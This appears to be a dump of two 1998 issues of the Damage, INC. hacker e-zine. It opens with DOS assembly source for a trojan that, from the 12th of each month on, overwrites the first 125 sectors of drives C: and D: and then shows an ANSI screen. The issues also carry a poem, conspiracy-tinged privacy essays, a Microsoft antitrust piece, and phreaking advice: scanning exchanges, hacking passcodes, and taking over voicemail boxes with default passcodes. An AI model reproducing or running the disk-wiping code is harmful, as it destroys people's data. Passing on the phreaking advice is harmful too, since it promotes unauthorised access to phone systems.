+ DB ' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,'Ü',1,'Ü',1,'Ü',1
+ DB 'Ü',1,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,'Ü',1,'Ü',1,'Ü',1,'Ü',1,'Û',1,'Û',1
+ DB 'Û',1,'ß',1,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1
+ DB ' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,'Ü',1
+ DB 'Ü',1,'Ü',1,'Ü',1,'Ü',1,'Ü',1,'Ü',1,'Ü',1,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,'Ü',1,'Ü',1,'Ü',1,'Ü',1,'Ü',1,'Ü',1,'Ü',1
+ DB ' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,'ß',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1
+ DB 'ß',1,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,' ',8
+ DB ' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,'þ',8,' ',8,'I',8,'n',8,'s',8,'e',8,'r',8
+ DB 't',8,' ',8,'C',8,'o',8,'i',8,'n',8,'s',8,' ',8,'t',8
+ DB 'o',8,' ',8,'C',8,'o',8,'n',8,'t',8,'i',8,'n',8,'u',8
+ DB 'e',8,' ',8,'þ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8
+
+ .CODE
+
+;The actual code starts below.
+
+start:
+ mov ah,2ah ;Get current Date
+ int 21h ;DOS Call
+ cmp dl,12 ;Check current Day
+ jb damstart ;Jump if Below 12th of the month.
+
+nuke:
+ cli ;Clear (disable) interrupts
+ mov ah,3 ;BIOS Write Sectors
+ mov al,125 ;Number of sectors to nuke.
+ mov ch,0 ;Cylinder number
+ mov cl,1 ;Starting sector
+ mov dh,0 ;Head number
+ mov dl,80h ;Drive C:
+ mov bx,offset damage ;Pointer to data buffer
+ int 13h ;Call Interrupt 13
+
+ mov ah,3 ;BIOS Write Sectors
+ mov al,125 ;Number of sectors to nuke.
+ mov ch,0 ;Cylinder number
+ mov cl,1 ;Starting sector
+ mov dh,0 ;Head number
+ mov dl,81h ;Drive D:
+ mov bx,offset damage ;Point to data buffer
+ int 13h ;Call Interrupt 13
+ sti ;Enable interrupts
+
+beeper:
+ mov cx,5 ;Number of beeps = 5
+ mov ax,0E07h ;BIOS display char., BEL
+beep_loop:
+ int 10h ;Using int 10,0E
+ loop beep_loop ;Beep until CX = 0
+
+;Set up DS, SS and SP Registers.
+
+damstart:
+ mov dx,@data ;Move data into dx
+ mov ds,dx ;Move dx into ds
+ mov bx,ss ;Move ss into bx
+ sub bx,dx ;Subtract dx from bx
+ shl bx,1 ;Shift bx logical left by 1
+ shl bx,1 ;Shift again
+ shl bx,1 ;and again.
+ shl bx,1 ; and Laughing! Haha.
+ cli ;Clear interrupts
+ mov ss,dx ;Move dx into ss
+ add sp,bx ;Add bx to sp and store in sp
+ sti ;Enable interrupts
+
+ push es ;Push ES register to save it
+ mov ax,0B800h ;Color text video segment
+ mov es,ax ;Move ax into es
+ sub si,si ;Subtract SI from SI
+ mov si,offset DAM_DATA ;Pointer to the Data (ansi screen)
+ sub di,di ;Subtract DI from DI and you get DI.
+ mov cx,DAM_LENGTH ;CX is size of the screen
+ rep movsw ;Repeat move string word. Write to
+ ;video memory.
+ mov ah,02h ;Set cursor position
+ mov bh,0 ;Video page 0
+ mov dx,1A00h ;Move cursor past bottom of screen
+ int 10h ;Hides the cursor
+lup: mov ah,01h ;Get keyboard status
+ int 16h ;Are any keys being pressed?
+ jz lup ;Jump if zero. A simple loop.
+ mov ah,0 ;Waits for keypress and reads the
+ int 16h ;character using int 16,0
+
+;Clears the screen
+ mov ah,7 ;Scroll down a window
+ mov al,0 ;Blank entire screen
+ mov bh,7 ;Attribute to use on blank line
+ mov ch,0 ;Row of upper left corner = 0
+ mov cl,0 ;Column of upper left corner = 0
+ mov dh,25 ;Row of lower right = 25
+ mov dl,80 ;Column of lower right = 80
+ int 10h ;Clears entire 80x25 screen.
+
+ mov ah,02h ;Sets cursor position
+ mov bh,0 ;Video page 0
+ mov dx,0 ;Puts the cursor back at the top.
+ int 10h ;Call Interrupt 10
+ pop es ;Restore ES register
+
+ mov ax,@data ;Move the data into ax
+ mov ds,ax ;Move ax into ds
+ mov ah,9 ;Print string function
+ mov dx,offset Message ;Pointer to the message
+ int 21h ;Call DOS to execute
+
+ mov ax,4c00h ;DOS exit function w/exitcode = 0
+ int 21h
+
+ END start ;The end.
+-------------------------------------------------------------------------------
+
+
+THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING}
+"Visions in Fire"
+
+I live in the chaos and madness. I've learned to embrace my own insanity.
+The world now mutates around me like molten lava flowing in a river of fire.
+It cascades down the volcano and towards the ocean. Once it reaches those cool
+waters it is transformed back into solid rock. The process is amazing and
+visually stunning, but not nearly as important as the result, which is creation
+itself. Being able to view the abstract, unique shapes as they form underneath
+the surface of the waves, that are forever crashing into the jagged cliffs along
+the expansive shoreline is an experience that makes a lasting impression.
+However, living on the inside and looking out at everyone else is an even
+greater one. Imagine the sight of people around you behaving like ants in a
+colony. They exist, but they are trapped. The ants are controlled, mindless,
+insignificant workers that live to serve their queen and "society". Their
+world is a controlled one in which every little ant has their own tasks and
+duties to perform. The ants do communicate with each other. It's usually
+limited and mainly used for instructions that are work or food related. The
+level of interaction between them might seem highly advanced, but in reality
+it is just an elaborate illusion. The ants might seem like individual insects
+at times, yet they cannot survive by themselves outside of the colony. They
+completely rely on each other. It is not natural or normal for people to live
+in the same way as ants. Human beings shouldn't behave like insects.
+
+I was filled with hate. The hate was powerful and it nearly consumed me.
+Learning the cause of the hate was difficult. Accepting the reason for my
+hate was challenging. Denouncing and leaving the confines of "society" was
+actually easy. The change that it made was dramatic. Sometimes drastic
+changes are necessary for ones survival. Positive change can lift your
+spirit and take you into a new direction. The experiences gained from that
+can be rewarding and fulfilling. The most immediate consequence of a life-
+altering change is the expansion of your consciousness. You cannot make the
+change knowing what the results will be. It's like seeing visions in fire.
+The visions may give you insight into the future or they may be false and
+misleading images. They can be deep and profound or shallow and fake. You
+become enlightened when you realize that you aren't just another ant in the
+colony. Discover your purpose. Find the individualism that you lost. Don't
+be fooled by the messages that you are told to believe. Truth is concealed.
+Lies are blatant. If you search you can uncover the hidden meaning. Abandon
+the ants in the colony. Trust your own vision.
+
+Written by Blackie Lawless ú Damage, INC. (C)opyright 1998.
+
+
+CLOSING COMMENTS - {CLOSING}
+BLACKENED's Humble Closing Comments:
+
+Damage, INC. is committed to releasing quality issues of the Damage, INC.
+Newsletter in 1998. As you already know, it's a new year. We want to start
+off this year by doing unique, innovative, original and creative projects.
+The articles that were included in this January issue should demonstrate that
+to you, and reflect our main goal. That is, we always strive for excellence.
+In 1998, I want to spend more time programming and releasing Damage, INC.
+Utilities. There are a few unfinished projects that I'd like to complete.
+I also plan to work on Trixter! (the bbs software that I use with my board)
+now that I have the source code. ;) Other than those projects, I would like
+to "tutor" some h/p newbies... Plus, I'm going to reserve some time for myself
+so that I don't lag behind in the h/p scene.
+
+On another note, we have many interesting ideas and topics in mind for future
+issues of the Damage, INC. Newsletter. We're going to write more about the
+paranormal, millennium, drugs etc. and share our opinions. If you have any
+suggestions, contact us. For example, should we continue to include source
+code? If so, should it be commented source for utilities, trojans or viruses?
+What type of articles do you enjoy reading? What are the topics that interest
+or affect you the most?
+
+We're always looking for Writers, Members and Distribution Sites. If you'd like
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+the Damage, INC. Application Generator. If you want any of our releases, they
+are currently available on the following boards:
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+...AND JUSTICE FOR ALL - Damage, INC. WHQ, h/p/a/c/v/t, no ratios, invite only.
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+Distraught Continuum - h/p/a/c/v/t, programming, etc.
+
+Any feedback or letters to the editor should be sent to BLACKENED in Email on
+a Damage, INC. board near you. I can also be contacted via Echomail/Netmail
+in several nets.
+
+- EOF
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+ "The name speaks for itself!" ÞÝ
+
+ Presents the
+
+ Damage, INC. Newsletter
+
+ February 1998 Issue #6.
+
+ "Freedom is not Free."
+
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+ C O N T E N T S :
+
+
+þ INTRODUCTION - An Introduction to the Damage, INC. Newsletter.
+
+þ BIG BROTHER BASHING - Big Brother wants our DNA.
+ ¯ Search String: {BIG BROTHER}
+
+þ BLACKENED'S TIP OF THE MONTH - Tips for newbies on how to enter the h/p scene.
+ ¯ Search String: {BLACKENED}
+
+þ CONSPIRACIES AND COVERUPS -
+ ¯ Search String: {COVERUPS}
+
+þ CORRUPTION AND GREED - Forcing an old dog to learn new tricks.
+ ¯ Search String: {GREED}
+
+þ H/P INFORMATION AND NEWS - An Introduction to VMBs.
+ ¯ Search String: {NEWS}
+
+þ INTERVIEWS AND INTERROGATIONS - Fatal Vision's interrogation of Highlord.
+ ¯ Search String: {INTERVIEWS}
+
+þ LETTERS TO THE EDITOR - More feedback about the Damage, INC. Newsletter.
+ ¯ Search String: {LETTERS}
+
+þ OBJECTIVE OPINIONS - Calling the kettle black.
+ ¯ Search String: {OPINIONS}
+
+þ REPORTS FROM THE FRONT - Big Brother's watching, hearing told.
+ ¯ Search String: {REPORTS}
+
+þ SOURCE AND SCRIPTS - Rename Directory Utility assembly source code.
+ ¯ Search String: {SOURCE}
+
+þ THE JOURNALIST'S TOP TEN LIST - New movements within the industry.
+ ¯ Search String: {TOP TEN}
+
+þ THOUGHTS, POEMS AND CREATIVE WRITING - Creative Thoughts by The Journalist.
+ ¯ Search String: {WRITING}
+
+þ CLOSING COMMENTS - BLACKENED's Intense Closing Comments.
+ ¯ Search String: {CLOSING}
+
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+
+
+INTRODUCTION: Freedom is not free. We are in search of truth and freedom.
+ The truth is out there. Damage, INC. intends to find it and
+ share our findings with you. As the new millennium rapidly
+ approaches, many controversial topics are being brought to the
+ forefront. The Damage, INC. Newsletter will openly discuss
+ topics such as Cloning, the Apocalypse, the New World Order
+ etc. We will voice our opinions strongly and keep you informed
+ about the major events that occur. My own prediction is that
+ in the new era, an information explosion is inevitable. We are
+ literally entering a Brave New World, in which there will be
+ many great changes. In order to be prepared, you must first
+ become informed. The word "ignorance" is derived from the word
+ "ignore". To blindly ignore the changes that are going to take
+ place would be ignorant. If you wish to perceive that as being
+ a warning, so be it.
+
+ Privacy is also a very important issue. Big Brother is running
+ rampant and gaining strength. They seek control and yet cannot
+ control themselves. They're already too powerful in my opinion.
+ However, Big Brother can be stopped. Information can be used
+ against them and dedicated freedom fighters can still attack
+ them with intelligence. Bashing Big Brother and revealing their
+ corrupt ways is one of the most satisfying endeavours for me.
+ I enjoy revealing their ways and teaching people how to be
+ anonymous and retain their privacy. That's especially important
+ during these twisted times, when private is considered to be
+ public information. Of course, the result is that Big Brother
+ is thriving and loving every fucking minute of it.
+
+ The main message that I want to convey in this February issue of
+ the Damage, INC. Newsletter is that freedom is not free. Freedom
+ isn't just given, it has to be fought for. Free your mind and
+ your body will follow. This world can use more free thinkers.
+
+
+BIG BROTHER BASHING - {BIG BROTHER}
+Big Brother wants our DNA.
+
+To Big Brother, DNA (deoxyribonucleic acid) is much more than a scientific
+wonder, the beginning of all life on Earth... it is one more step towards
+total control. When Big Brother obtains the DNA pattern of an individual, he
+has the blueprints to that individual's body. Big Brother has been working hard
+to bring human DNA banks into existence. Big Bro's goal is to store the DNA
+patterns of every person in "society" via blood samples, tissue samples, hair
+follicles, etc. so it can be used against "dissidents."
+
+When Big Brother can claim ownership of a portion of a human being, it only
+proves how much we have truly lost. How would you like it if you weren't
+able to obtain a loan, or health insurance because Big Brother analyzed your DNA
+sample, and found that you are prone to a disease? Do you feel it would be
+fair for the "genetically superior" to have an unfair advantage when it comes
+to employment? These scenarios are the future. How about the police force
+taking DNA samples from the bank and planting them at the scene of a crime?
+Again, another plausible scenario since desperate cops can perform corruptly
+when their backs are against the wall. If they assume a suspect is guilty, and
+have tissue samples within their reach, why wouldn't they use them to prove
+their case?
+
+Many states have already created DNA banks of all prisoners within their
+particular "department of corrections." As expected, the cops are extremely
+excited over the whole idea of DNA banks. To quote a cop, "This is something
+that is more unique than fingerprints," said Nebraska State Patrol Capt. Kevin
+Stuckenholtz. "You put the sample in a computer data bank, and then if a crime
+is committed years later and there is some forensic evidence that they are able
+to collect, police can cross check to see if they have a perpetrator." This is
+another example how Big Brother uses the threat of crime to influence zombies
+into willingly and happily support every law and policy that destroys our
+civil rights and privacy. Those that wish not to give Big Brother DNA samples
+are treated like convicts.
+
+During 1997, two American marines were court-martialled after refusing to
+"donate" DNA samples to the Pentagon's DNA bank. Corporal Joseph Vlacovsky and
+Lance Corporal John Mayfield filed a class-action suit to force the Pentagon to
+stop this practice, because it is nothing more than unlawful search and seizure.
+
+The Pentagon responded by saying that they only want the DNA of every present
+and former employee in order to create a "DNA dog tag." For example, if a
+soldier is blown apart in combat, the Pentagon would obtain a DNA sample from
+the remains and compare it to the samples in their DNA bank. What disturbs
+Vlacovsky and Mayfield, and the Council of Responsible Genetics, is the
+potential for misuse of the DNA information. In response to their concerns, the
+Pentagon has promised to destroy a "donors'" DNA information, tissue samples,
+etc., when that person leaves the service. However, there are absolutely *no*
+laws requiring them to do so. Haha... even if there were, it would be extremely
+naive to actually think that the Pentagon would *destroy* DNA information.
+After all, the Pentagon allows the FBI and other American law enforcement
+agencies access to all of the DNA information they've taken with (or without in
+my opinion) a court order.
+
+The Canadian government has also been pushing for a national DNA bank. It has
+been proposed that all Canadians should be forced to submit tissue and blood
+samples to this bank. Big Brother is definitely wasting no time. For some
+reason, talk of this "mandatory" government DNA bank is on the backburner. In
+November 1997, a private member's bill was introduced to create a national DNA
+bank to house DNA information from all convicts in Canada.
+
+A extra bonus for Big Brother to create a DNA bank database of the entire
+citizenry is greed. Big Brother could make a fortune selling your DNA
+information to foreign laboratories, big business, etc. It's true. In one
+example, blood samples drawn from asthmatic inhabitants of the remote South
+Atlantic island of Tristan da Cunha, led to asthma treatment technologies which
+were sold to German medical monopoly Boehringer Ingelheim for $70 million. Do
+you think the islanders were paid any of the $70 million for the blood samples
+they provided? I highly doubt it. Genetic laboratories in the United States
+and Japan have been patenting DNA patterns for decades! This even more proof
+that Big Brother and big business see us all as commodities to be exploited and
+controlled. The precedent is if you give, or are forced to give, a blood or
+tissue sample, you lose all rights to it. Big Brother can literally "have
+a piece of you" if they obtain a sample.
+
+I hope that you take what I have written in this article seriously, and form
+your own opinion. It is horrid enough that Big Brother is attempting to take
+our civil rights away so they can control us. Now Big Brother desires to rape
+us of our blood and bodily tissue, and our right to keep our own genetic make-up
+private. Especially if something can be used against a person by Big Brother in
+an attempt to control that person. And if a DNA sample is unique in some way,
+Big Brother and his scientists are the ones that benefit, not the person that
+provided it. We all have a decision to make. Do we submit our mind, body, and
+soul to Big Brother, or do we fight for our privacy and rights?
+
+Written by Shatazar ú Damage, INC. (C)opyright 1998.
+
+
+BLACKENED'S TIP OF THE MONTH - {BLACKENED}
+Tips for newbies on how to enter the h/p scene:
+
+The main reason that I decided to write about how to enter the h/p scene is
+because the majority of the newbies in 519 act like complete lamers... and then
+they wonder why they're disrespected, mocked, laughed at and humiliated. The
+newbies try to pretend to know all about hacking (including hacking ISPs,
+web sites etc.), phreaking (including stuff like scanning, PBXs, extenders,
+diverters, ANI, CNA, loops, ringbacks, beige boxing, red boxing etc.) The list
+is almost endless. Obviously, they can't fool us into thinking they have h/p
+knowledge by spewing bullshit and lying. One newbie in particular (ahem,
+Highlord) doesn't seem to realize that extenders can be used for voice and
+data... and talks about them as though they are just normal carriers (that you
+connect to via modem)... that are just local diverters. Hahaha. Highlord also
+claims to "program viruses in hex". Other newbies are totally confused about
+ANI. By far the most hilarious are the newbies that talk about using PBXs, yet
+they don't even know what a PBX is if you question them. Or the newbies that
+claim to scan or hack and they don't know shit about ToneLoc or unix. I'm not
+sure if they're trying to impress the well known, experienced users in the h/p
+scene or not. At any rate, it never works and they always end up looking like
+lame fools.
+
+Don't expect to be respected if you call learning "reading a text file" and
+following the instructions. You also won't gain any respect by bashing the
+knowledgable hackers and phreaks. And you won't get "instant respect" if you
+start a wannabe "h/p group" or "h/p board"... when you don't know anything.
+Don't upload trojans to boards and think that's hacking or think that it means
+you're a hacker. Don't think you're a phreak because you've used an extender
+or know what PBX stands for because you don't know what phreaking means. You
+can't be the Sysop of a real h/p board if you're a newbie that knows less than
+your users. What will you do if they ask you a question that relates to h/p?
+Do you think h/pers will actually call a wannabe board that's run by a newbie?
+No, of course not. Don't setup a board until you know something about what you
+want it to support. Basically, if you aren't a hacker or a phreak and not in
+the h/p scene, don't setup a lame board and try to advertise it as being
+"h/p/a/c/v/t". If you do that, don't be too surprised if nobody that's in the
+h/p scene calls and supports it. ;) And don't be shocked if it's constantly
+being bashed and named the lamest board in the area code.
+
+Now that I've covered some of the things that you *shouldn't* do (unless of
+course your goal is to be the biggest lamer in your area code)... I will now
+explain how newbies should enter the h/p scene. First, call the respected h/p
+boards in your local area. Ask for access politely and post an intelligent
+new user application. Don't kiss the Sysop's ass or attempt to fool them into
+thinking you're not a newbie. If you chat with them, let them know that you're
+genuinely interested in learning more about h/p... and want to become part of
+the local h/p scene. Ask them for advice, but don't ask them any questions
+like "How do I hack? How do I....." If you overload them with stupid
+questions, they might just become annoyed or pissed off at you. Afterall,
+nobody likes to answer a million fucking questions...muchless ones that a newbie
+asks them. Thus, don't expect to get direct answers about everything h/p
+related that you've ever wanted to know. It isn't that easy. It takes time.
+You have to learn many things on your own. Download some text files and some
+utilities (like ToneLoc etc.) that you'll need. Read through the text files.
+Read through the ToneLoc docs. Read every issue of the Damage, INC. Newsletter.
+Start scanning some local exchanges. Start learning about tones. You might
+be surprised at what you can find and learn about. ;) Once you have learned
+about a few things, don't start bragging or think that you know everything...
+Don't get a big ego or develop an attitude. If you've only been learning about
+h/p for a few weeks or months, then you are still considered to be a newbie.
+Also, don't apply to all of the local h/p groups in your area. You still lack
+experience, which is something that's very important and cannot be faked. Once
+you've done a few things (found some PBXs, extenders, diverters, VMBs etc.)
+and hacked some codes (like passcodes etc.)... and have some experience using
+ToneLoc, PBXs, extenders, diverters etc. then by all means apply to some h/p
+groups that you're interested in joining. Or if joining a h/p group doesn't
+interest you, that's fine. Obviously, you can still associate with hackers and
+phreaks, exchange ideas and information... and learn from them and any advice
+they might decide to give you. ;) Once you've learned the h/p basics, you
+will find that people are more willing to give you advice and help. As for
+gaining their trust, respect and becoming accepted as part of the h/p scene,
+that is something you will have to figure out on your own. The only tip I can
+give is that you'll have to earn their trust and respect. It's not something
+that can be instantly gained. You'll have to prove that you are trustworthy,
+have some knowledge, respect others that are in the h/p scene (especially those
+that were in involved in h/p long before you knew what it was) etc. You have
+to show that by your actions and words. If you aren't dedicated and active in
+the h/p scene, it'll be evident to them and very noticeable. If you do nothing
+but constantly ask questions, that shows that you aren't reading, learning or
+doing anything to progress. Thus, take the initiative to learn as much as you
+can and become self-taught.
+
+Written by BLACKENED ú Damage, INC. (C)opyright 1998.
+
+
+CORRUPTION AND GREED - {GREED}
+Forcing an old dog to learn new tricks:
+
+ Microsoft Corp's long monopolistic reign over the desktop/business
+PC market may have reached an inevitable conclusion. Crucial
+marketing decisions made by the greedy company have, and still are
+being scrutinized by corporate and government groups, working towards
+learning the extent to which Microsoft violated anti-competitive
+laws in order to increase their profits.
+ Anti-competitive business practices, such as forcing users of the
+soon-to-be-released Windows 98 to use their Internet Explorer 4.0 have
+alerted high-end developers, and low-end users across the globe to what
+most of us knew all along - Microsoft is a bully. In fact, the United
+States Department of Justice has agreed with us on this one;
+finding Microsoft guilty of violating anti-competitive laws in the
+recent IE 4.0 dispute. As a result, Microsoft now has to ship over 3
+versions of the anticipated 'Windows 98' (including one 'IE 4.0 Free').
+ The byte does not stop here. In an attempt to gain a monopoly of
+Internet-related applications, Microsoft had also violated universal
+agreements on the compatibility of JAVA applets across various
+platforms. What this means is that Microsoft wanted PCs connected
+to the web (running Win95/98) to run JAVAScript apps coded
+only by other Microsoft developers. This decision also created
+an uproar in the computing industry, leading to the development of
+many 'Anti-Microsoft' groups.
+ Microsoft's competition seems to have finally realized the power they
+hold when they join together to fight the greed. Vendors such as
+Sun Microsystems have jumped in response to these events, and are starting
+to release low-end workstations designed to compete specifically with
+NT 4.0 systems. (Codename: DARWIN).
+ JAVA has played an important role in all this; serving as symbol
+against OS-Specific JAVA Code. Users and developers alike have warmed
+to the idea of versatile code, full compatibility issues, and
+multi-platform flexibility - seen in the increased interest in alternative
+Operating Systems such as Linux, and x86 based SunOS (Desktop UNIX).
+ It appears Microsoft has made some fatal moves.
+ Microsoft assumed they could maintain their narrow-minded,
+short-sighted business practices, and still realize great profits.
+How ignorant they were though, of the forces of the universe always
+at work. The universe thrives on change, and the longer something
+remains static, the more dramatic its termination. Just ask the
+dinosaurs.
+
+Written by The Journalist ú Damage, INC. (C)opyright 1998.
+
+
+H/P INFORMATION AND NEWS - {NEWS}
+An Introduction to VMBs:
+
+This article contains some useful information on VMBs (Voice Mail Boxes) for
+beginners and advanced phreaks. Actually, it's an introduction to VMBs that
+is intended for newbies to read. :)
+
+First, not all VMB systems are the same. Some are local, others are 1-800s.
+There are several types of VMBs and each has it's own unique features, defaults
+etc. I'm not going to describe all of them or give any "specific" information
+on how to hack them. However, I will give a brief summary of the basics of
+each commonly used VMB system. If you aren't familiar with voice mail and have
+not had the priviledge of using it before, then you'll probably find this
+article interesting. Otherwise, it might seem a little boring if you already
+know all about VMBs, use them regularly and have your own personal box etc. In
+that case, just skip this section and read the next article.
+
+Most text files and articles on VMBs lack critical information and just say "You
+really need a 1-800 VMB. Buy one from a phreak or scan 1-800s to find one using
+ToneLoc, and then try to hack it using default passcodes." Of course,
+Damage, INC. has much higher standards and would never write or release anything
+that lacks the necessary content and quality that our readers have grown to
+expect. :)
+
+At this point, you might be asking "Why do I need a 1-800 VMB?" though. The
+answer is that they are useful for staying in contact with people, contacting
+new people (like phreaks from other area codes), trading codes and information,
+and learning. Some VMBs also allow you to dial out from them. Plus, they're
+free to call and most 1-800 VMBs are accessible throughout North America (some
+are limited to Canada). And, you don't have to give out your voice number
+anymore once you have your own VMB box. As for buying a VMB from a h/per in
+your area code, you shouldn't begin by "buying codes". If you get into the
+habit of doing that, you might start relying on everyone else in the h/p scene
+to do everything for you. That isn't a good way to enter the h/p scene or learn
+anything. The main point is, you learn absolutely nothing by purchasing a VMB
+from someone else. In other words, you won't even be used to or know about the
+VMB that you paid for. You'd have to spend some time becoming familiar with the
+system and learning, so why not do that first before you take the easy way out
+by paying someone else cash to do the work for you?
+
